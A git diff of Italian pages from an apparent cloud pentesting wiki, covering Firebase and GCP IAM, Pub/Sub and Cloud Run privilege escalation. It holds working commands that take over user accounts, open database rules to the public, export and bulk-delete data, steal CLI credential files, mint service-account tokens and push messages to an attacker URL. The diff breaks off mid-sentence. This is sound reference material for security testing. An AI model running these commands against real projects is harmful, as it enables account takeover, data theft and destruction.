Fanno inoltre parte di ruoli di livello superiore come `roles/firebase.developAdmin` (che include tutti i permessi `firebaseauth.*`) e `roles/firebase.admin` (accesso completo a tutti i servizi Firebase). + +Per utilizzare il Firebase Admin SDK, l'attacker avrebbe bisogno dell'accesso alle service account credentials (un file JSON), che potrebbero essere ottenute da sistemi compromessi, repository di codice esposti pubblicamente, ambienti CI/CD compromessi o tramite il compromesso di account degli sviluppatori che hanno accesso a queste credenziali. + +Il primo passo è configurare il Firebase Admin SDK usando le service account credentials. +```bash +import firebase_admin +from firebase_admin import credentials, auth +cred = credentials.Certificate('path/to/serviceAccountKey.json') +firebase_admin.initialize_app(cred) +``` +Per creare un utente malevolo usando l'email della vittima, l'attaccante tenterebbe di creare un nuovo account utente con quell'email, assegnando la propria password e le informazioni del profilo. +```bash +user = auth.create_user( +email='victima@example.com', +email_verified=False, +password='password123', +display_name='Usuario Malicioso', +disabled=False +) +print(f'Usuario creado: {user.uid}') +``` +Per modificare un utente esistente, l'attaccante cambierebbe campi come l'indirizzo email, lo stato di verifica o se l'account è disabilitato. +```bash +user = auth.update_user( +uid, +email='nuevo-email@example.com', +email_verified=True, +disabled=False +) +print(f'Usuario actualizado: {user.uid}') +``` +Per eliminare un account utente — causando di fatto un denial of service — l'attaccante invierebbe una richiesta per rimuovere permanentemente quell'utente. +```bash +auth.delete_user(uid) +print('Usuario eliminado exitosamente') +``` +L'attaccante potrebbe anche recuperare informazioni sugli utenti esistenti, come il loro UID o indirizzo email, richiedendo i dettagli dell'utente tramite UID o tramite indirizzo email. +```bash +user = auth.get_user(uid) +print(f'Información del usuario: {user.uid}, {user.email}') +user = auth.get_user_by_email('usuario@example.com') +print(f'Información del usuario: {user.uid}, {user.email}') +``` +Inoltre, l'attaccante potrebbe generare link di verifica o link per il reset della password, permettendogli di cambiare la password di un utente e prendere il controllo dell'account. +```bash +link = auth.generate_email_verification_link(email) +print(f'Link de verificación: {link}') +link = auth.generate_password_reset_link(email) +print(f'Link de reset: {link}') +``` +### Modifica delle regole di sicurezza nei servizi Firebase +L'attaccante necessita di permessi specifici per modificare le regole di sicurezza a seconda del servizio. Per Cloud Firestore e Firebase Cloud Storage, i permessi richiesti sono `firebaserules.rulesets.create` per creare ruleset e `firebaserules.releases.create` per distribuire release. Questi permessi sono inclusi nel ruolo `roles/firebaserules.admin` o in ruoli di livello superiore come `roles/firebase.developAdmin` e `roles/firebase.admin`. Per Firebase Realtime Database, il permesso richiesto è `firebasedatabase.instances.update`. + +L'attaccante deve utilizzare la Firebase REST API per modificare le regole di sicurezza. +Per prima cosa, l'attaccante deve ottenere un token di accesso usando le credenziali di un service account. +Per ottenere il token: +```bash +gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json +ACCESS_TOKEN=$(gcloud auth print-access-token) +``` +Per modificare le regole di Firebase Realtime Database: +```bash +curl -X PUT "https://-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \ +-H "Content-Type: application/json" \ +-d '{ +"rules": { +".read": true, +".write": true +} +}' +``` +Per modificare le regole di Cloud Firestore, l'attaccante deve creare un ruleset e poi deployarlo: +```bash +curl -X POST "https://firebaserules.googleapis.com/v1/projects//rulesets" \ +-H "Authorization: Bearer $ACCESS_TOKEN" \ +-H "Content-Type: application/json" \ +-d '{ +"source": { +"files": [{ +"name": "firestore.rules", +"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}" +}] +} +}' +``` +Il comando precedente restituisce un nome di ruleset nel formato projects//rulesets/. Per distribuire la nuova versione, il rilascio deve essere aggiornato usando una richiesta PATCH: +```bash +curl -X PATCH "https://firebaserules.googleapis.com/v1/projects//releases/cloud.firestore" \ +-H "Authorization: Bearer $ACCESS_TOKEN" \ +-H "Content-Type: application/json" \ +-d '{ +"release": { +"name": "projects//releases/cloud.firestore", +"rulesetName": "projects//rulesets/" +} +}' +``` +Per modificare le regole di Firebase Cloud Storage: +```bash +curl -X POST "https://firebaserules.googleapis.com/v1/projects//rulesets" \ +-H "Authorization: Bearer $ACCESS_TOKEN" \ +-H "Content-Type: application/json" \ +-d '{ +"source": { +"files": [{ +"name": "storage.rules", +"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}" +}] +} +}' +``` +Il comando precedente restituisce un nome di ruleset nel formato projects//rulesets/. Per distribuire la nuova versione, la release deve essere aggiornata usando una richiesta PATCH: +```bash +curl -X PATCH "https://firebaserules.googleapis.com/v1/projects//releases/firebase.storage/" \ +-H "Authorization: Bearer $ACCESS_TOKEN" \ +-H "Content-Type: application/json" \ +-d '{ +"release": { +"name": "projects//releases/firebase.storage/", +"rulesetName": "projects//rulesets/" +} +}' +``` +### Esfiltrazione e manipolazione dei dati in Cloud Firestore +Cloud Firestore usa la stessa infrastruttura e lo stesso sistema di permessi di Cloud Datastore, quindi le autorizzazioni IAM di Datastore si applicano direttamente a Firestore. Per manipolare le policy TTL è necessario il permesso `datastore.indexes.update`. Per esportare dati è necessario il permesso `datastore.databases.export`. Per importare dati è necessario il permesso `datastore.databases.import`. Per eseguire cancellazioni di massa dei dati è necessario il permesso `datastore.databases.bulkDelete`. + +Per le operazioni di backup e ripristino sono necessarie autorizzazioni specifiche: + +- `datastore.backups.get` e `datastore.backups.list` per elencare e recuperare i dettagli dei backup disponibili +- `datastore.backups.delete` per eliminare i backup +- `datastore.backups.restoreDatabase` per ripristinare un database da un backup +- `datastore.backupSchedules.create` e `datastore.backupSchedules.delete` per gestire le pianificazioni di backup + +Quando viene creata una policy TTL, viene selezionata una proprietà designata per identificare le entità idonee all'eliminazione. Questa proprietà TTL deve essere del tipo Data e ora. L'attaccante può scegliere una proprietà già esistente o designare una proprietà che intende aggiungere in seguito. Se il valore del campo è una data nel passato, il documento diventa idoneo per l'eliminazione immediata. L'attaccante può usare il gcloud CLI per manipolare le policy TTL. +```bash +# Enable TTL +gcloud firestore fields ttls update expireAt \ +--collection-group=users \ +--enable-ttl +# Disable TTL +gcloud firestore fields ttls update expireAt \ +--collection-group=users \ +--disable-ttl +``` +Per esportare i dati ed exfiltrate gli stessi, l'attaccante potrebbe usare il gcloud CLI. +```bash +gcloud firestore export gs:// --project= --async --database='(default)' +``` +Per importare dati dannosi: +```bash +gcloud firestore import gs:/// --project= --async --database='(default)' +``` +Per eseguire una cancellazione massiva di dati e causare un denial of service, l'attaccante potrebbe utilizzare lo strumento gcloud Firestore bulk-delete per rimuovere intere collection. +```bash +gcloud firestore bulk-delete \ +--collection-ids=users,posts,messages \ +--database='(default)' \ +--project= +``` +Per operazioni di backup e restore, l'attaccante potrebbe creare backup pianificati per catturare lo stato corrente del database, elencare i backup esistenti, eseguire il restore da un backup per sovrascrivere modifiche recenti, eliminare backup per causare perdita permanente di dati e rimuovere backup pianificati. +Per creare una pianificazione di backup giornaliera che generi immediatamente un backup: +```bash +gcloud firestore backups schedules create \ +--database='(default)' \ +--recurrence=daily \ +--retention=14w \ +--project= +``` +Per ripristinare da un backup specifico, l'attaccante potrebbe creare un nuovo database utilizzando i dati contenuti in quel backup. L'operazione di restore scrive i dati del backup in un nuovo database, il che significa che un DATABASE_ID esistente non può essere usato. +```bash +gcloud firestore databases restore \ +--source-backup=projects//locations//backups/ \ +--destination-database='' \ +--project= +``` +Per eliminare un backup e causare la perdita permanente dei dati: +```bash +gcloud firestore backups delete \ +--backup= \ +--project= +``` +### Furto e uso improprio delle credenziali Firebase CLI +Un attacker non ha bisogno di permessi specifici su Firebase per eseguire questo attacco, ma deve avere accesso al sistema locale dello sviluppatore o al file delle credenziali della Firebase CLI. Queste credenziali sono memorizzate in un file JSON situato in: + +- Linux/macOS: ~/.config/configstore/firebase-tools.json + +- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json + +Questo file contiene token di autenticazione, inclusi refresh_token e access_token, che permettono all'attacker di autenticarsi come l'utente che ha eseguito originariamente firebase login. + +L'attacker ottiene l'accesso al file delle credenziali della Firebase CLI. Può quindi copiare l'intero file sul proprio sistema, e la Firebase CLI utilizzerà automaticamente le credenziali dalla sua posizione predefinita. Fatto questo, l'attacker può visualizzare tutti i progetti Firebase accessibili a quell'utente. +```bash +firebase projects:list +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index 4c0a94b03..5eb6dccd1 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -Per maggiori informazioni su IAM: +Per maggiori informazioni su IAM, vedi: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md @@ -12,54 +12,51 @@ Per maggiori informazioni su IAM: ### `iam.roles.update` (`iam.roles.get`) -Un attacker con i permessi indicati potrà aggiornare un ruolo assegnato a te e concederti permessi aggiuntivi su altre risorse come: - -
Aggiornare il ruolo IAM per aggiungere permessi +Un attaccante con i permessi sopra menzionati potrà aggiornare un ruolo assegnato e concederti permessi aggiuntivi su altre risorse come: ```bash gcloud iam roles update --project --add-permissions ``` -
- -Puoi trovare uno script per automatizzare la **creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui** e uno script Python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Per maggiori informazioni consulta la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). - +Puoi trovare uno script per automatizzare la **creazione, exploit e cleaning di un ambiente vuln qui** e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +```bash +gcloud iam roles update --project --add-permissions +``` +### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy` +Il permesso iam.roles.create consente la creazione di ruoli personalizzati in un progetto/organizzazione. Nelle mani di un attacker, questo è pericoloso perché permette di definire nuovi insiemi di permessi che possono poi essere assegnati ad entità (per esempio, usando il permesso iam.serviceAccounts.setIamPolicy) con l'obiettivo di escalating privileges. +```bash +gcloud iam roles create \ +--project= \ +--title="" \ +--description="<Description>" \ +--permissions="permission1,permission2,permission3" +``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -Un attaccante con i permessi menzionati sarà in grado di **richiedere un access token che appartiene a un Service Account**, quindi è possibile ottenere un access token di un Service Account con privilegi superiori ai nostri. - -<details><summary>Impersonare un Service Account per ottenere un access token</summary> +Un attacker con le permissions menzionate sarà in grado di richiedere un access token che appartiene a un Service Account, quindi può richiedere un access token di un Service Account con privilegi superiori ai nostri. ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -</details> - -Puoi trovare uno script per automatizzare la [**creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e uno script Python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Per maggiori informazioni consulta la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Un attaccante con i permessi menzionati sarà in grado di **creare una chiave gestita dall'utente per un Service Account**, cosa che ci permetterà di accedere a GCP come quel Service Account. - -<details><summary>Creare una chiave per il Service Account e autenticarsi</summary> +Un attacker con i permessi menzionati sarà in grado di **create a user-managed key for a Service Account**, il che ci permetterà di accedere a GCP come quel Service Account. ```bash gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -</details> - Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). -Nota che **`iam.serviceAccountKeys.update` non funzionerà per modificare la chiave** di un SA perché per fare ciò è necessario anche il permesso `iam.serviceAccountKeys.create`. +Nota che **`iam.serviceAccountKeys.update` non funzionerà per modificare la key** di una SA perché per farlo è necessario anche il permesso `iam.serviceAccountKeys.create`. ### `iam.serviceAccounts.implicitDelegation` -Se hai il permesso **`iam.serviceAccounts.implicitDelegation`** su un Service Account che ha il permesso **`iam.serviceAccounts.getAccessToken`** su un terzo Service Account, allora puoi usare implicitDelegation per **creare un token per quel terzo Service Account**. Qui c'è un diagramma per aiutare a spiegare. +Se hai il permesso **`iam.serviceAccounts.implicitDelegation`** su una Service Account che ha il permesso **`iam.serviceAccounts.getAccessToken`** su una terza Service Account, allora puoi usare implicitDelegation per **creare un token per quella terza Service Account**. Ecco un diagramma per aiutare a spiegare. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Nota che secondo la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegazione di `gcloud` funziona solo per generare un token utilizzando il metodo [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Quindi qui viene mostrato come ottenere un token usando direttamente l'API: - -<details><summary>Generare un token di accesso con delega usando l'API</summary> +Nota che secondo la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegazione di `gcloud` funziona solo per generare un token usando il metodo [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Quindi qui trovi come ottenere un token usando direttamente l'API: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -70,27 +67,23 @@ curl -X POST \ "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' ``` -</details> - -È disponibile uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e uno script python per sfruttare questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signBlob` -Un attacker con le autorizzazioni menzionate sarà in grado di **firmare payload arbitrari in GCP**. Quindi sarà possibile **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** dal SA che stiamo prendendo di mira. Per maggiori informazioni [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Un attaccante con i permessi menzionati potrà **firmare payload arbitrari in GCP**. Quindi sarà possibile **creare un JWT non firmato del SA e poi inviarlo come blob per ottenere il JWT firmato** dal SA che stiamo prendendo di mira. Per maggiori informazioni [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). -È disponibile uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e uno script python per sfruttare questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Un attacker con le autorizzazioni menzionate sarà in grado di **firmare JSON web token ben formati (JWT)**. La differenza con il metodo precedente è che **invece di far sì che google firmi un blob contenente un JWT, usiamo il metodo signJWT che si aspetta già un JWT**. Questo lo rende più facile da usare ma puoi firmare solo JWT invece di qualsiasi byte. +Un attaccante con i permessi indicati potrà **firmare JSON web tokens (JWT) ben formati**. La differenza rispetto al metodo precedente è che **invece di far firmare a google un blob contenente un JWT, usiamo il metodo signJWT che si aspetta già un JWT**. Questo lo rende più semplice da usare, ma permette di firmare solo JWT invece di qualsiasi sequenza di byte. -È disponibile uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e uno script python per sfruttare questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a> -Un attacker con le autorizzazioni menzionate sarà in grado di **add IAM policies to service accounts**. Puoi abusarne per **grant yourself** i permessi necessari per impersonare il service account. Nel seguente esempio ci stiamo assegnando il ruolo `roles/iam.serviceAccountTokenCreator` sul SA di interesse: - -<details><summary>Add IAM policy binding to service account</summary> +Un attaccante con i permessi indicati potrà **aggiungere policy IAM agli account di servizio**. Puoi abusarne per **assegnarti** i permessi necessari a impersonare l'account di servizio. Nell'esempio seguente ci assegniamo il ruolo `roles/iam.serviceAccountTokenCreator` sull'SA interessato: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -101,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -</details> - Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -La **iam.serviceAccounts.actAs permission** è simile alla **iam:PassRole permission from AWS**. È essenziale per eseguire attività, come avviare un'istanza di Compute Engine, poiché concede la capacità di "actAs" un Service Account, garantendo una gestione sicura dei permessi. Senza questo, gli utenti potrebbero ottenere accessi indebiti. Inoltre, sfruttare la **iam.serviceAccounts.actAs** comporta vari metodi, ognuno dei quali richiede un insieme di permessi, in contrasto con altri metodi che ne richiedono solo uno. +La **iam.serviceAccounts.actAs permission** è come la **iam:PassRole permission from AWS**. È essenziale per eseguire operazioni, come l'avvio di un'istanza Compute Engine, poiché concede la possibilità di "actAs" a una Service Account, garantendo una gestione sicura dei permessi. Senza questa permission, gli utenti potrebbero ottenere accessi indebiti. Inoltre, sfruttare la **iam.serviceAccounts.actAs** comporta diversi metodi, ognuno richiedente un insieme di permessi, a differenza di altri metodi che ne richiedono solo uno. -#### Impersonazione di Service account <a href="#service-account-impersonation" id="service-account-impersonation"></a> +#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a> -Impersonare un Service account può essere molto utile per **ottenere privilegi nuovi e migliori**. Ci sono tre modi in cui puoi [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +Impersonare una service account può essere molto utile per **ottenere nuovi e migliori privilegi**. Ci sono tre modi in cui puoi [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Autenticazione **using RSA private keys** (trattato sopra) -- Autorizzazione **using Cloud IAM policies** (trattato qui) -- **Deploying jobs on GCP services** (più applicabile al compromesso di un account utente) +- Authentication **using RSA private keys** (trattato sopra) +- Authorization **using Cloud IAM policies** (trattato qui) +- **Deploying jobs on GCP services** (più applicabile alla compromissione di un account utente) ### `iam.serviceAccounts.getOpenIdToken` -Un attaccante con i permessi menzionati potrà generare un OpenID JWT. Questi token sono usati per attestare l'identità e non implicano necessariamente un'autorizzazione su una risorsa. +Un attaccante con i permessi menzionati sarà in grado di generare un OpenID JWT. Questi vengono usati per attestare l'identità e non portano necessariamente con sé alcuna autorizzazione implicita su una risorsa. -Secondo questo [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), è necessario indicare l'audience (il servizio presso il quale vuoi usare il token per autenticarti) e riceverai un JWT firmato da google che indica il service account e l'audience del JWT. +Secondo questo [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), è necessario indicare l'audience (il servizio dove vuoi utilizzare il token per autenticarti) e riceverai un JWT firmato da google che indica la service account e l'audience del JWT. Puoi generare un OpenIDToken (se hai l'accesso) con: - -<details><summary>Genera OpenID token per Service account</summary> ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -</details> - -Puoi quindi usarlo per accedere al servizio con: - -<details><summary>Usa un token OpenID per autenticarti</summary> +Quindi puoi semplicemente usarlo per accedere al servizio con: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -</details> - Alcuni servizi che supportano l'autenticazione tramite questo tipo di token sono: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) -- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (se si usa Google OIDC) +- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) -Puoi trovare un esempio su come creare un OpenID token per conto di un service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). ## Riferimenti diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md index 1f0b0276f..55c85faa3 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md @@ -4,34 +4,67 @@ ## PubSub -Ottieni ulteriori informazioni in: +Maggiori informazioni in: {{#ref}} ../gcp-services/gcp-pub-sub.md {{#endref}} -### `pubsub.snapshots.create` - -Le istantanee degli argomenti **contengono i messaggi attuali non riconosciuti e ogni messaggio successivo**. Puoi creare un'istantanea di un argomento per **accedere a tutti i messaggi**, **evitando di accedere all'argomento direttamente**. +### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`) +Gli snapshot dei topic **contengono i messaggi attualmente unACKed e ogni messaggio successivo**. Puoi creare uno snapshot di un topic per **accedere a tutti i messaggi**, **senza accedere direttamente al topic**. +```bash +gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to> +``` ### **`pubsub.snapshots.setIamPolicy`** -Assegna i permessi precedenti a te stesso. +Assegna a te le autorizzazioni precedenti. ### `pubsub.subscriptions.create` -Puoi creare un abbonamento push in un argomento che invierà tutti i messaggi ricevuti all'URL indicato. +Puoi creare una push subscription in un topic che invierà tutti i messaggi ricevuti all'URL indicato ### **`pubsub.subscriptions.update`** -Imposta il tuo URL come endpoint push per rubare i messaggi. +Imposta il tuo URL come push endpoint per intercettare i messaggi. ### `pubsub.subscriptions.consume` -Accedi ai messaggi utilizzando l'abbonamento. - +Accedi ai messaggi usando la subscription. +```bash +gcloud pubsub subscriptions pull <SUSCRIPTION> \ +--limit=50 \ +--format="json" \ +--project=<PROJECTID> +``` ### `pubsub.subscriptions.setIamPolicy` -Dati a te stesso uno dei permessi precedenti. +Concediti una qualsiasi delle autorizzazioni precedenti +```bash +# Add Binding +gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \ +--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \ +--role="<ROLE_OR_CUSTOM_ROLE>" \ +--project="<PROJECT_ID>" +# Remove Binding +gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \ +--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \ +--role="<ROLE_OR_CUSTOM_ROLE>" \ +--project="<PROJECT_ID>" + +# Change Policy +gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \ +<(echo '{ +"bindings": [ +{ +"role": "<ROLE_OR_CUSTOM_ROLE>", +"members": [ +"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" +] +} +] +}') \ +--project=<PROJECT_ID> +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md index a324cffea..cead199dc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md @@ -4,7 +4,7 @@ ## Cloud Run -Per maggiori informazioni su Cloud Run consulta: +Per maggiori informazioni su Cloud Run vedi: {{#ref}} ../gcp-services/gcp-cloud-run-enum.md @@ -12,18 +12,15 @@ Per maggiori informazioni su Cloud Run consulta: ### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`** -Un attacker con queste autorizzazioni può **create a run service running arbitrary code** (arbitrary Docker container), associare un Service Account ad esso e fare in modo che il codice **exfiltrate the Service Account token from the metadata**. +Un attacker con questi permessi può creare un servizio Cloud Run che esegue codice arbitrario (un container Docker arbitrario), associare un Service Account al servizio e far sì che il codice **exfiltrate the Service Account token from the metadata**. -Uno script di exploit per questo metodo è disponibile [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e l'immagine Docker è disponibile [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). +Uno script di exploit per questo metodo si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e l'immagine Docker si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). -Nota che quando si usa `gcloud run deploy` invece di creare semplicemente il servizio **è necessario il permesso `update`**. Vedi un [**esempio 